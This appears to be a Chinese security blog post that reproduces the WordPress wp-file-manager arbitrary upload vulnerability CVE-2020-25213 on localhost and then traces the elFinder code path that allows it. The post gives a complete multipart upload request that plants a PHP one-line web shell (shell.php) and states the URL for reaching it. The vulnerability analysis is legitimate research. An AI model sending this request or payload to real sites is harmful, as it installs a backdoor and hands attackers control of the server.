前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

作者头像
红队蓝军
发布2023-09-18 08:17:14
3130
发布2023-09-18 08:17:14
举报
文章被收录于专栏:红队蓝军红队蓝军

1.漏洞复现

WordPress 6.2

插件:wp-file-manager 6.0,File Manager (advanced view) – WordPress plugin | WordPress.org (https://wordpress.org/plugins/wp-file-manager/advanced/)

复现

后台,安装、启动插件

前台,提交请求包:

代码语言:javascript
复制
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b
 
--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"
 
upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"
 
l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream
 
<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--

访问一句话木马:http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php

2.逆向分析

从敏感函数逆向分析

elFinderVolumeLocalFileSystem类

敏感函数 copy 位于 elFinderVolumeLocalFileSystem类 的 _save方法

/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php

代码语言:javascript
复制
protected function _save($fp, $dir, $name, $stat)
{
  $path = $this->_joinPath($dir, $name);
 
  $meta = stream_get_meta_data($fp);
  $uri = isset($meta['uri']) ? $meta['uri'] : '';
  if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) && !is_link($uri)) {
  ...
    if (($isCmdCopy || !rename($uri, $path)) && !copy($uri, $path)) {

uri = meta['uri'],meta 取决于 fp

代码语言:javascript
复制
<?php
// stream_get_meta_data语法示例
$fp = fopen('d:/flag.txt', 'r');
$meta = stream_get_meta_data($fp);
echo $meta['uri']; // d:/flag.txt

path 是 dir.

这样如果 fp 打开的一句话木马,并且 path 为可访问 WEB路径,就可以 GetShell

elFinderVolumeDriver类

elFinderVolumeDriver类 的 saveCE方法 调用了 _save方法

代码语言:javascript
复制
protected function saveCE($fp, $dir, $name, $stat)
{
  $res = (!$this->encoding) ? $this->_save($fp, $dir, $name, $stat) : $this->convEncOut($this->_save($fp, $this->convEncIn($dir), $this->convEncIn($name), $this->convEncIn($stat)));

elFinderVolumeDriver类 的 upload方法 调用了 saveCE方法

代码语言:javascript
复制
public function upload($fp, $dst, $name, $tmpname, $hashes = array())
{
  ...
  $dstpath = $this->decode($dst);
  ...
  if (($path = $this->saveCE($fp, $dstpath, $name, $stat)) == false) {

dstpath 和 name 代表 copy 到的路径,dstpath 取决于 dst

查看 decode方法

代码语言:javascript
复制
protected function decode($hash)
{
  if (strpos($hash, $this->id) === 0) {
    ...
    return $this->abspathCE($path);
  }
  return '';
}

可以看出需要正确的 id 才能得到路径

elFinder类

在 elFinder类 的构造方法可以看到使用了 id

代码语言:javascript
复制
public function __construct($opts)
{
  ...
  if ($volume->mount($o)) {
  $id = $volume->id();

在下面添加:

代码语言:javascript
复制
ob_end_flush();
var_dump($id);

直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的 id

代码语言:javascript
复制
string(3) "l1_"
string(3) "t1_"
{"error":["errUnknownCmd"]}

其中 l1_ 是可以用的,也就是 $dst 要为 l1_

elFinder类

elFinderVolumeLocalFileSystem类 是 elFinderVolumeDriver类 的子类

elFinder类 的 upload方法 利用 elFinderVolumeLocalFileSystem类对象 调用了 elFinderVolumeDriver类 的 upload方法

代码语言:javascript
复制
protected function upload($args)
{
  ...
  if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {

其中 $volume 就是 elFinderVolumeLocalFileSystem类对象,怎么知道的呢,看构造方法

代码语言:javascript
复制
public function __construct($opts)
{
  ...
  $volume = new $class();

在下面添加:

代码语言:javascript
复制
ob_end_flush();
var_dump($volume);

直接访问 http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 可以看到响应的对象

代码语言:javascript
复制
object(elFinderVolumeLocalFileSystem)#4 (61) {
...

再看 elFinder类 的 upload方法 是如何得到 elFinderVolumeDriver类 的 upload方法 的参数的

代码语言:javascript
复制
protected function upload($args)
{
  ...
  $target = $args['target'];
  ...
  $files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
  ...
  foreach ($files['name'] as $i => $name) {
    ...
    $tmpname = $files['tmp_name'][$i];
    ...
    if (!is_file($tmpname) || ($fp = fopen($tmpname, 'rb')) === false) {
    ...
    if (!$_target || ($file = $volume->upload($fp, $_target, $name, $tmpname, ($_target === $target) ? $hashes : array())) === false) {

可以看出来都存在 $args 中

elFinder类 的 exec方法 可以调用 elFinder类 的 upload方法

代码语言:javascript
复制
public function exec($cmd, $args)
{
  $result = $this->$cmd($args);

如果 $cmd 为 upload,exec方法 就调用 elFinder类 的 upload方法 了

elFinderConnector类

elFinderConnector类 的 run方法 调用了 exec方法

代码语言:javascript
复制
public function run()
{
  ...
  $src = $isPost ? array_merge($_GET, $_POST) : $_GET;
  ...
  $cmd = isset($src['cmd']) ? $src['cmd'] : '';
  ...
  foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
    ...
    $arg = isset($src[$name]) ? $src[$name] : '';
    ...
    $args[$name] = $arg;
  }
  ...
  $args['FILES'] = $_FILES;
  ...
  $this->output($this->elFinder->exec($cmd, $args));

可以看出来 POST请求 cmd 为 upload,就会调用 elFinder类 的 upload方法

当同时上传文件时,$args['FILES'] 将存储上传的文件的信息

elFinder类

在 elFinder类 可以看到 commandArgsList方法

代码语言:javascript
复制
protected $commands = array(
  ...
  'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false),
  ...
 
public function commandArgsList($cmd)
{
  if ($this->commandExists($cmd)) {
    $list = $this->commands[$cmd];
    $list['reqid'] = false;
  } else {
    $list = array();
  }
  return $list;
}

思路回到 elFinderConnector类

可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 时,$args['target'] 将等于 l1_

代码语言:javascript
复制
array(18) {
  ["target"]=>
  string(3) "l1_"
  ...
  ["FILES"]=>
  array(1) {
    ["upload"]=>
    array(5) {
      ["name"]=>
      array(1) {
        [0]=>
        string(9) "shell.php"
      }
      ...
      ["tmp_name"]=>
      array(1) {
        [0]=>
        string(22) "C:\Windows\php147A.tmp"

思路回到 elFinderVolumeLocalFileSystem类

可以看出来当 POST 请求 cmd 为 upload 并且 target 为 l1_ 并且 上传文件 时,copy函数 会将临时文件 保存到 $path 路径

connector.minimal.php

connector.minimal.php 调用了 run方法

代码语言:javascript
复制
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();

elFinderVolumeLocalFileSystem类

path = this->_joinPath(dir, name); 下面添加:

代码语言:javascript
复制
ob_end_flush();
var_dump($path);

提交复现中的请求包,可以看到响应的一句话木马路径:.../wp-content/plugins/wp-file-manager/lib/files/shell.php

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-09-13 15:00,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.漏洞复现
  • 2.逆向分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档